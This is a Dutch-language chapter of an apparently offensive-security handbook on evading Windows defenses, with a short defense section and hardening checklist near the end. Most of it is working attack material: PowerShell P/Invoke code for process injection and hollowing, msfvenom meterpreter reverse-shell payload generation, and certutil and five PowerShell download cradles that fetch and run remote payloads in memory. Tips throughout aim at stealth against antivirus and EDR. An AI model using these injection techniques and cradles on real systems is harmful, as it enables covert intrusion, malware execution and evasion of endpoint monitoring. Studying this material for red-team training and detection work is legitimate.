Process injection is het cuckoo-effect van malware: je legt je code in het nest van een ander proces en laat dat proces het uitvoeren. Vanuit het perspectief van het besturingssysteem draait er geen verdacht programma – er draait alleen maar explorer.exe of svchost.exe, die altijd al draaien. Het enige verschil is dat er een extra stuk code in het geheugen van dat proces zit.

Dit is fundamenteel anders dan de technieken die we tot nu toe hebben besproken. AMSI-bypasses en AppLocker-bypasses gaan over het starten van code. Process injection gaat over het verbergen van code die al draait.


Process Injection 1: CreateRemoteThread

Dit is de klassieke methode, het schoolboekvoorbeeld. Vier Windows API-calls, in deze volgorde:

  1. OpenProcess – Open een handle naar het doelproces.
  2. VirtualAllocEx – Reserveer geheugen in dat proces.
  3. WriteProcessMemory – Schrijf je shellcode naar dat geheugen.
  4. CreateRemoteThread – Start een thread in het doelproces die je shellcode uitvoert.
# Stap 1: Vind het target proces
Get-Process explorer | select Id, ProcessName

# Stap 2: De volledige injection via P/Invoke
$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@

$k = Add-Type -memberDefinition $code `
  -Name 'K32' -namespace Win32Functions -passthru

$proc = Get-Process explorer
$h = $k::OpenProcess(0x001F0FFF, $false, $proc.Id)
# 0x001F0FFF = PROCESS_ALL_ACCESS
Write-Host 'Handle:' $h

De flow in detail:

OpenProcess(PROCESS_ALL_ACCESS)
    |
    v
VirtualAllocEx(MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    |
    v
WriteProcessMemory(shellcode bytes)
    |
    v
CreateRemoteThread(startadres van shellcode)

Shellcode genereren:

# Genereer shellcode in C#-formaat voor gebruik in de injector
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.0.0.1 LPORT=443 -f csharp

IB Tip: Vermijd explorer.exe in productie-assessments – het is een van de meest gemonitorde processen. Gebruik liever een minder opvallend proces zoals RuntimeBroker.exe of smartscreen.exe. Het gaat erom dat je opvalt tussen de duizenden threads die toch al draaien, niet dat je de enige thread bent in een proces waar nooit iets gebeurt.


Process Injection 2: DLL Injection

DLL injection is de variant waarbij je geen ruwe shellcode injecteert, maar een volledige DLL. Het doelproces laadt de DLL via LoadLibrary, waarna de DllMain-functie van die DLL automatisch wordt aangeroepen.

Het voordeel boven CreateRemoteThread met shellcode: een DLL kan complexere functionaliteit bevatten, en het laden van DLL’s is een normale Windows-operatie die minder opvalt.

Stap 1: Genereer de DLL:

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.0.0.1 LPORT=443 -f dll -o payload.dll

Stap 2: Upload naar target:

certutil -urlcache -f http://10.0.0.1/payloads/payload.dll `
  C:\Windows\tasks\payload.dll

Stap 3: Inject via PowerShell P/Invoke:

$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@

$k = Add-Type -memberDefinition $code `
  -Name 'K32' -namespace Win32 -passthru

De flow:

OpenProcess
    |
    v
VirtualAllocEx (reserveer ruimte voor DLL-pad als string)
    |
    v
WriteProcessMemory (schrijf DLL-pad naar gereserveerde ruimte)
    |
    v
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
    |
    v
CreateRemoteThread(LoadLibraryA, pointer naar DLL-pad)

Het verschil met de vorige techniek: in plaats van shellcode te schrijven en direct uit te voeren, schrijven we het pad naar een DLL en laten we het doelproces die DLL zelf laden. LoadLibraryA doet al het werk.

IB Tip: De DLL moet in een schrijfbaar pad staan: C:\Windows\tasks, %TEMP%, of een vergelijkbare locatie. Vergeet niet dat de DLL op schijf staat – dit is geen fileless techniek. Dat maakt het kwetsbaarder voor traditionele AV-scans. Combineer met een custom DLL die niet in de signature-database staat.


Process Injection 3: Process Hollowing

Process hollowing is de meest theatrale van de drie: je start een legitiem proces in suspended state, haalt de originele code eruit, vervangt het met je payload, en hervat het proces. Het is letterlijk een bodysnatcher-scenario.

Stap 1: Compileer de hollowing tool:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
  /target:exe /out:C:\Windows\tasks\hollow.exe `
  C:\Windows\tasks\hollow.cs

Stap 2: Uitvoeren:

# Vervangt svchost.exe met payload
C:\Windows\tasks\hollow.exe

Het concept in API-calls:

CreateProcess("svchost.exe", CREATE_SUSPENDED)
    |
    v
NtUnmapViewOfSection (verwijder originele code)
    |
    v
VirtualAllocEx (reserveer geheugen op origineel base address)
    |
    v
WriteProcessMemory (schrijf payload)
    |
    v
SetThreadContext (wijs instruction pointer naar payload)
    |
    v
ResumeThread (start het "svchost" proces)

Vanuit het perspectief van Windows draait er een svchost.exe-proces met het juiste parent process, de juiste naam, en de juiste locatie op schijf. Alleen de code in het geheugen is compleet anders. Het is alsof iemand je auto steelt, een andere motor erin zet, en hem terugparkeert op dezelfde plek. Van buiten ziet alles er normaal uit.

Alternatief met Donut:

# Donut converteert een .NET executable naar shellcode
# voor gebruik in een gehollowed proces
donut.exe -f payload.exe -o payload.bin -a 2 -e 3

IB Tip: Gebruik een trusted process als host: svchost.exe, RuntimeBroker.exe, of SearchProtocolHost.exe. Combineer met Parent PID Spoofing voor extra stealth – dan lijkt het alsof het proces door services.exe is gestart in plaats van door jouw payload. Maar let op: moderne EDR kijkt naar de inhoud van het geheugen, niet alleen naar de procesnaam.


PowerShell Cradles: Fileless Delivery

Waarom Cradles?

Een download cradle is een stukje code dat een payload van een remote server haalt en direct in het geheugen uitvoert, zonder het naar schijf te schrijven. Het woord “cradle” is wellicht het vriendelijkste woord ooit gebruikt voor iets wat in feite een digitale aflevering is.

De reden dat cradles zo populair zijn, is simpel: als er niets op de schijf staat, kan een bestandsgebaseerde AV-scan niets vinden. Het bestand bestaat niet. Er is geen hash om te vergelijken, geen bestandsnaam om te flaggen, geen tijdstempel om te correleren. Het enige bewijs is in het geheugen, en geheugen is vluchtig.

Microsoft heeft vijf verschillende manieren om HTTP-requests te doen in PowerShell ingebouwd. Dat is alsof een slotenmaker vijf verschillende lockpicks in een gratis goodiebag uitdeelt. Hier zijn ze allemaal.


Cradle 1: Invoke-WebRequest (IWR)

De meest gebruikte cradle in PowerShell 3.0 en hoger.

# Kort: download en execute in memory
iex (iwr 'http://10.0.0.1/payloads/amsi-shell.ps1' -UseBasicParsing)

# Lang: met variabele
$resp = Invoke-WebRequest `
  -Uri 'http://10.0.0.1/payloads/amsi-shell.ps1' `
  -UseBasicParsing
IEX $resp.Content

# File naar schijf (als je dat wilt):
Invoke-WebRequest `
  -Uri 'http://10.0.0.1/tools/Rubeus.exe' `
  -OutFile 'C:\Windows\tasks\Rubeus.exe'

IB Tip: -UseBasicParsing voorkomt de IE engine dependency en werkt op Server Core waar IE niet geinstalleerd is. iwr is het alias voor Invoke-WebRequest – korter, minder opvallend in logs (hoewel je niet op die illusie moet vertrouwen).


Cradle 2: WebClient (Net.WebClient)

De klassieker. De cradle die in elke tutorial staat, in elke blog verschijnt, en in elke detectieregel zit. En toch werkt het nog steeds, omdat niet iedereen die detectieregels heeft geimplementeerd.

# De standaard download cradle
iex (New-Object Net.WebClient).DownloadString(
    'http://10.0.0.1/payloads/amsi-shell.ps1')

# Met proxy awareness (voor corporate omgevingen):
$wc = New-Object Net.WebClient
$wc.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')

# File naar schijf:
(New-Object Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/Rubeus.exe',
    'C:\Windows\tasks\Rubeus.exe')

De proxy-aware variant is cruciaal in zakelijke omgevingen. Veel bedrijven routeren al het verkeer door een proxyserver. Zonder de proxyconfiguratie mislukt je cradle simpelweg – en dan zit je in een bedrijfsnetwerk met een half werkende aanval en een gefrustreerde blik.

IB Tip: IEX is het alias voor Invoke-Expression en wordt zwaar gedetecteerd. Alternatieven:

# Alternatief 1: Gebruik iex via iwr
iex(iwr 'http://...' -UseBasicParsing)

# Alternatief 2: Via InvokeCommand
$ExecutionContext.InvokeCommand.InvokeScript(
    (New-Object Net.WebClient).DownloadString('http://...')
)

Cradle 3: System.NET.WebRequest

De low-level variant die minder voorkomt in tutorials en daarom minder voorkomt in detectieregels. Het is als het gebruik van de achteringang terwijl iedereen de voordeur in de gaten houdt.

# WebRequest cradle
$wr = [System.NET.WebRequest]::Create(
    "http://10.0.0.1/payloads/amsi-shell.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

# Met proxy settings:
$wr = [System.NET.WebRequest]::Create(
    "http://10.0.0.1/payloads/amsi-shell.ps1")
$wr.Proxy = [System.NET.WebRequest]::DefaultWebProxy
$wr.Proxy.Credentials = `
    [System.NET.CredentialCache]::DefaultNetworkCredentials
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

IB Tip: Meer low-level dan WebClient of IWR, en daardoor minder gelogd in sommige omgevingen. Een goed alternatief als WebClient geblokkeerd is door AppLocker – WebRequest gebruikt een andere code path.


Cradle 4: COM Internet Explorer Object

En dan is er de cradle die niemand verwacht, omdat niemand in zijn rechterverstand Internet Explorer als downloadtool zou gebruiken. Wat natuurlijk precies is waarom het werkt.

# IE COM object cradle
$ie = New-Object -ComObject InternetExplorer.Application
$ie.visible = $False
$ie.navigate('http://10.0.0.1/payloads/amsi-shell.ps1')
sleep 5
$response = $ie.Document.body.innerHTML
$ie.quit()
iex $response

Dit start een onzichtbare Internet Explorer-instantie, navigeert naar de payload-URL, wacht vijf seconden (de meest optimistische sleep in de geschiedenis van de informatica), leest de inhoud van de pagina, sluit IE, en voert de code uit.

Het is belachelijk. Het is onhandig. Het vereist dat IE geinstalleerd is. En het is de minst gedetecteerde cradle van allemaal, precies omdat het zo belachelijk is dat niemand er een detectieregel voor heeft geschreven.

IB Tip: Vereist dat IE geinstalleerd is – werkt niet op Server Core of Windows 11+ (waar IE verwijderd is). De sleep 5 is nodig om de pagina te laden; verhoog bij trage verbindingen. En ja, het is inderdaad een cradle die afhankelijk is van Internet Explorer. We leven in bijzondere tijden.


Cradle 5: XMLHTTP COM Object

De laatste variant gebruikt het Msxml2.XMLHTTP-COM-object, dat buiten de .NET-stack om werkt en daardoor een ander detectieprofiel heeft.

# XMLHTTP cradle
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET', 'http://10.0.0.1/payloads/amsi-shell.ps1', $false)
$h.send()
iex $h.responseText

# ServerXMLHTTP variant (gaat door proxy):
$h = New-Object -ComObject Msxml2.ServerXMLHTTP
$h.open('GET', 'http://10.0.0.1/payloads/amsi-shell.ps1', $false)
$h.send()
iex $h.responseText

Het verschil tussen XMLHTTP en ServerXMLHTTP: de laatste is proxy-aware en werkt daarom beter in zakelijke omgevingen waar een proxyserver verplicht is.

IB Tip: De XMLHTTP-cradle werkt ook in Constrained Language Mode, omdat COM-objects wel toegestaan zijn. Dit maakt het een goede fallback-optie als CLM actief is maar je nog geen CLM-bypass hebt uitgevoerd.


Cradles: De Vergelijking

Cradle Detectiekans Proxy-aware CLM-compatible Opmerking
Invoke-WebRequest Hoog Nee* Nee Meest gebruikt, meest gedetecteerd
Net.WebClient Hoog Ja (handmatig) Nee De klassieker
WebRequest Medium Ja (handmatig) Nee Low-level alternatief
IE COM Laag Ja (IE-proxy) Ja Vereist IE; Windows 10 only
XMLHTTP COM Laag Ja (Server-variant) Ja Beste all-round optie

* IWR kan proxy-aware gemaakt worden met extra parameters.


Verdediging: Hoe Je Dit Allemaal Stopt

Na twintig technieken om verdedigingen te omzeilen, is het tijd om de andere kant van het verhaal te vertellen. Want dit is geen boek voor aanvallers – het is een boek voor verdedigers die willen begrijpen hoe aanvallers denken.

EDR: Endpoint Detection and Response

Moderne EDR-oplossingen gaan verder dan signature-based detection. Ze kijken naar gedragingen:

Constrained Language Mode – Goed Geconfigureerd

CLM is niet waardeloos als het correct is geconfigureerd:

Code Signing

Vereisen dat alle scripts en executables digitaal ondertekend zijn, is een van de meest effectieve verdedigingen:

Het is niet waterdicht – gestolen code signing-certificaten zijn een ding – maar het verhoogt de lat aanzienlijk.

Praktische Hardening Checklist

  1. Schakel PowerShell v2 uit.
  2. Implementeer WDAC in plaats van (of naast) AppLocker.
  3. Activeer en monitor Script Block Logging.
  4. Blokkeer LOLBins die niet nodig zijn (mshta.exe, cscript.exe, wscript.exe).
  5. Monitor procesrelaties – welk proces start welk kindproces.
  6. Implementeer Credential Guard om credential dumping te beperken.
  7. Patch, patch, patch. De meeste AMSI-bypasses werken tegen specifieke versies. Updates breken ze.

Een Woord over de Antivirus-Industrie

Er is een oude wijsheid: als je een idioot een mooi pak aantrekt, krijg je geen slimmer persoon – je krijgt een idioot in een mooi pak.

De antivirus-industrie heeft vijftig miljard dollar per jaar aan mooie pakken aangetrokken. Ze verkoopt reactieve detectie als proactieve bescherming. Ze noemt signature-updates “threat intelligence.” Ze plakt machine learning-labels op patroonherkenning die een informaticstudent in een weekend zou kunnen schrijven. En ze adverteert met detectiepercentages van 99,9% – wat indrukwekkend klinkt tot je beseft dat er elke dag drie miljoen nieuwe malware-samples verschijnen, en 0,1% daarvan drieduizend gemiste detecties per dag betekent.

Het echte probleem is niet dat AV slecht is. AV vangt het leeuwendeel van commodity malware. Het probleem is dat organisaties denken dat AV genoeg is. Dat ze een product installeren, achterover leunen, en denken: “We zijn beveiligd.” Dat is alsof je een slot op je voordeur zet en concludeert dat je huis inbraakvrij is, terwijl het raam op de eerste verdieping open staat, de achterdeur niet op slot zit, en je de reservesleutel onder de deurmat hebt gelegd.

Beveiliging is geen product. Het is een proces. Het is lagen – defence in depth. AMSI plus AppLocker plus EDR plus netwerksegmentatie plus monitoring plus incident response plus – en dit is het belangrijkste – mensen die weten wat ze doen.

De technieken in dit hoofdstuk bewijzen dat geen enkele laag onkwetsbaar is. Maar elke laag maakt de aanval moeilijker, duurder, en – cruciaal – detecteerbaarder. Een aanvaller die vijf bypasses moet uitvoeren, maakt vijf keer zoveel geluid als een aanvaller die er nul hoeft uit te voeren. En geluid is wat verdedigers nodig hebben.


IB Tips: Samenvatting

AMSI: - Patch niet blindelings – test eerst met AMSITrigger welke strings gedetecteerd worden. - Combineer bypasses: InvisiShell voor logging, memory patch voor AMSI, dan pas je eigenlijke tooling. - Na elke Windows-update: hertest je bypasses. Microsoft patcht ze regelmatig.

AppLocker: - LOLBin-gebruik is moeilijk te voorkomen maar makkelijk te detecteren. Monitor procesrelaties. - Overweeg WDAC als vervanging – het is strenger en moeilijker te omzeilen. - Blokkeer niet-essientiele .NET-tools: als niemand MSBuild nodig heeft, blokkeer het.

AV Evasion: - DefenderCheck/AMSITrigger zijn je beste vrienden. Scan, pas aan, scan opnieuw. Iteratief proces. - In-memory execution (NetLoader) is effectiever dan obfuscatie op schijf. - Shellter werkt goed maar gebruik altijd verse PE-targets. - Gebruik obfuscate_av.py voor text-based payloads (.php, .aspx, .py, .hta, .txt) en --obfuscate-vba voor macro’s. - On-the-fly download obfuscatie (?obf=1) geeft elke download een unieke variant – nuttig als een specifieke versie geblokkeerd wordt. - Voor binaire payloads: combineer msfvenom encoders met andere technieken. Encoding alleen stopt moderne EDR niet.

Process Injection: - Kies je target-proces zorgvuldig. Een notepad.exe dat plotseling HTTPS-verkeer genereert, valt op. - Process hollowing gecombineerd met Parent PID Spoofing is de meest stealthy variant. - Genereer shellcode voor de juiste architectuur (x64 vs x86).

Cradles: - Gebruik de XMLHTTP-cradle als default – laagste detectiekans, proxy-compatible, CLM-compatible. - Voeg altijd proxy-support toe in zakelijke omgevingen. - Combineer de cradle met een AMSI-bypass – AMSI scant de content die de cradle downloadt.


Referentietabel

Techniek IB Command Type Complexiteit
CLM Bypass (runspace) amsi_bypass_clm AMSI/CLM Laag
CLM Bypass (PSv2) amsi_bypass_clm AMSI/CLM Laag
CLM Bypass (InstallUtil) amsi_bypass_clm AMSI/CLM Medium
CLM Bypass (MSBuild) amsi_bypass_clm AMSI/CLM Medium
amsiInitFailed flag amsi_bypass_context AMSI Laag
AmsiScanBuffer patch amsi_bypass_patch AMSI Medium
AmsiContext reflection amsi_bypass_reflection AMSI Medium
InvisiShell amsi_invisishell AMSI/Logging Laag
InstallUtil bypass applocker_installutil AppLocker Medium
MSBuild inline task applocker_msbuild AppLocker Medium
MSHTA execution applocker_mshta AppLocker Laag
DefenderCheck workflow av_defendercheck AV Recon Laag
HTA payload av_hta AV/Initial Access Medium
NetLoader av_netloader AV/In-Memory Medium
Shellter PE injection av_shellter AV/PE Inject Hoog
Multi-taal obfuscatie (PHP/ASPX/Python/HTA/TXT) obfuscate_file taak AV/Obfuscatie Laag
VBA macro obfuscatie --obfuscate-vba flag AV/Obfuscatie Laag
Binary encoder (ELF/MSI/EXE) --encoder flag AV/Encoding Medium
CreateRemoteThread inject_createremotethread Process Inject Medium
DLL Injection inject_dll Process Inject Medium
Process Hollowing inject_hollowing Process Inject Hoog
IWR Cradle ps_cradle_iwr Delivery Laag
WebClient Cradle ps_cradle_webclient Delivery Laag
WebRequest Cradle ps_cradle_webrequest Delivery Laag
IE COM Cradle ps_cradle_comie Delivery Medium
XMLHTTP Cradle ps_cradle_xmlhttp Delivery Laag

Verder Lezen


En zo eindigt ons rondje door het landschap van evasion. Bijna dertig technieken, verdeeld over zes categorieen, elk met hun eigen charme en hun eigen detectiemethoden. De wapenwedloop gaat door. De aanvaller vindt een bypass, de verdediger schrijft een detectieregel, de aanvaller past de bypass aan, de verdediger update de regel. Het is een dans die al begon bij het Trojaanse paard en die niet snel zal ophouden. Het minste wat je kunt doen, is de danspassen kennen.

In het volgende hoofdstuk pakken we iets groters aan: laterale beweging door het netwerk. Want een voet tussen de deur is leuk, maar de kluis staat aan de andere kant van het gebouw.